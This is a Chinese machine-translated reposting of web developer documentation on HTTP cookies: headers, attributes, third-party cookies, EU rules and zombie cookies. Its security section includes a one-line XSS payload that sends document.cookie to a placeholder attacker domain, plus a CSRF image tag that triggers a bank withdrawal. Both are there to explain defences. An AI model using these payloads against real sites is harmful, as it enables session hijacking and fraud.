©
Ce document utilise Manuel du site Web PHP chinois Libérer
HTTP cookie(网络cookie,浏览器cookie)是服务器发送给用户网络浏览器的一小部分数据。浏览器可以存储它,并将下一个请求发回给同一台服务器。通常,它用于判断两个请求是否来自同一浏览器 - 例如,保持用户登录。它记住无状态HTTP协议的有状态信息。
Cookies主要用于三个目的:
会话管理登录,购物车,游戏成绩或服务器应记住的任何其他内容个性化用户偏好,主题和其他设置跟踪记录和分析用户行为
Cookies曾经用于一般的客户端存储。虽然这是合法的,但它们是将数据存储在客户端的唯一方式,现在推荐使用现代存储API。Cookies随每个请求一起发送,因此可能会恶化性能(特别是对于移动数据连接)。用于客户端存储的现代API是Web存储API(localStorage
和sessionStorage
)和IndexedDB。
要查看存储的Cookie(以及网页可以使用的其他存储),可以在Developer Tools中启用Storage Inspector,然后从存储树中选择Cookies。
当收到一个HTTP请求时,服务器可以发送一个Set-Cookie
包含响应的头部。Cookie通常由浏览器存储,然后将Cookie发送到Cookie
HTTP标头内的同一服务器。可以指定过期日期或持续时间,之后不再发送cookie。此外,可以设置对特定域和路径的限制,限制cookie的发送位置。
Set-Cookie
与Cookie
头所述Set-Cookie
HTTP响应报头从服务器向用户代理发送的cookie。一个简单的cookie就像这样设置:
Set-Cookie: <cookie-name>=<cookie-value>
服务器的这个头文件告诉客户端存储一个cookie。
注意:以下是Set-Cookie
在各种服务器端应用程序中使用标题的方法:
PHP
Node.JS
Python
Ruby on Rails
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry[page content]
现在,随着对服务器的每个新请求,浏览器都会使用Cookie
标题将所有先前存储的cookie发送回服务器。
GET /sample_page.html HTTP/1.1Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
上面创建的cookie是一个会话cookie:它在客户端关闭时被删除,因为它没有指定Expires
or Max-Age
指令。但是,Web浏览器可能会使用会话恢复,这会使大多数会话Cookie永久化,就好像浏览器从未关闭一样。
当客户关闭时,永久性Cookie不会在特定日期(Expires
)或特定时间长度后终止(Max-Age
)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
注意:如果设置了到期日期,则设置的时间和日期与cookie的设置客户端相关,而不是服务器。
Secure
和HttpOnly
饼干安全Cookie只能通过HTTPS协议通过加密请求发送到服务器。即使在这种情况下Secure
,敏感信息也不应该存储在cookie中,因为它们固有地不安全,并且此标志不能提供真正的保护。从Chrome 52和Firefox 52开始,不安全的站点(http:
)无法使用该Secure
指令设置Cookie 。
为了防止跨站点脚本攻击(XSS)攻击,HttpOnly
JavaScript的Document.cookie
API 无法访问Cookie ; 他们只被发送到服务器。例如,持久化服务器端会话的cookie不需要对JavaScript可用,并且HttpOnly
应该设置标志。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
在Domain
与Path
指令定义的范围的cookie:什么网址应发送到cookie。
Domain
指定允许的主机接收cookie。如果没有指定,则默认为主机当前文档的位置,但不包括子域。如果Domain
被指定,那么子域总是被包括在内。
例如,如果Domain=mozilla.org
设置了,则cookie就包含在子域名developer.mozilla.org
中。
Path
表示必须存在于所请求的URL中以便发送Cookie
标头的URL路径。%x2F(“/”)字符被认为是一个目录分隔符,并且子目录也会匹配。
例如,如果设置Path=/docs
,这些路径将匹配:
/docs
/docs/Web/
/docs/Web/HTTP
SameSite
cookiesSameSite
Cookie允许服务器要求Cookie不应该与跨站点请求一起发送,这有助于防止跨站请求伪造攻击(CSRF)。SameSite
Cookie仍然是实验性的,并且尚未被所有浏览器支持。
Document.cookie
新的cookies也可以通过使用该Document.cookie
属性的JavaScript创建,如果该HttpOnly
标志没有设置,现有的cookie也可以通过JavaScript访问。
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
请注意下面安全部分中的安全问题。JavaScript可用的cookie可以通过XSS被盗取。
机密或敏感信息绝不应以HTTP Cookie存储或传输,因为整个机制固有不安全。
Cookie通常用于Web应用程序中以识别用户及其已验证的会话,因此窃取cookie可能会导致劫持经过验证的用户会话。窃取cookie的常见方式包括社交工程或利用应用程序中的XSS漏洞。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
该HttpOnly
cookie的属性可以帮助缓解防止通过JavaScript访问cookie值这种攻击。
Wikipedia提到CSRF的一个很好的例子。在这种情况下,某人包含的图像不是真正的图像(例如在未经过滤的聊天或论坛中),而是确实要求您的银行服务器进行提款:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
现在,如果您登录了您的银行帐户并且您的Cookie仍然有效(并且没有其他验证),那么只要您加载包含此图片的HTML,就会立即转账。有几种技术可以用来防止这种情况的发生:
与XSS一样,输入过滤非常重要。
任何敏感行为都应该始终有确认。
用于敏感操作的Cookie只应具有较短的使用期限。
有关更多预防提示,请参阅OWASP CSRF预防备忘单(https://www.owasp.org/index.php/Cross-Site Request_Forgery(CSRF%29_Prevention_Cheat_Sheet))。
Cookie有一个与他们相关的域名。如果此网域与您所在网页的网域相同,则说这些Cookie为第一方Cookie。如果域名不同,则说它是第三方cookie。尽管第一方cookie仅发送给设置它们的服务器,但网页可能包含存储在其他域(如广告条)中的服务器上的图像或其他组件。通过这些第三方组件发送的Cookie称为第三方Cookie,主要用于在整个网络上进行广告和跟踪。请参阅Google使用的Cookie类型。大多数浏览器默认允许使用第三方cookie,但有附加组件可用于阻止它们(例如,Privacy Badger byEFF)。
如果您不透露第三方cookies,如果发现cookie使用,消费者信任可能会受到伤害。明确的披露(例如在隐私政策中)倾向于消除cookie发现的任何负面影响。有些国家也有关于cookies的立法。
它的使用没有任何法律或技术要求,但DNT
标题可用于表示Web应用程序应禁用其跟踪或跨站点用户跟踪个人用户。请参阅DNT
标题以获取更多信息。
欧盟对cookies的要求在欧盟议会指令2009/136 / EC中定义,并于2011年5月25日生效。指令本身不是法律,而是要求欧盟成员国制定法律符合指令的要求。实际的法律可能因国家而异。
简而言之,欧盟指令意味着在有人可以存储或检索来自计算机,移动电话或其他设备的任何信息之前,用户必须给予知情同意才能这样做。许多网站自此添加了横幅,以通知用户有关Cookie的使用。
更为激进的方法是 zombie cookies 或“Evercookies”,它们在删除后重新创建,故意难以永久删除。他们使用Web存储API,Flash本地共享对象和其他技术在检测到cookie不存在时重新创建自己。
Set-Cookie
Cookie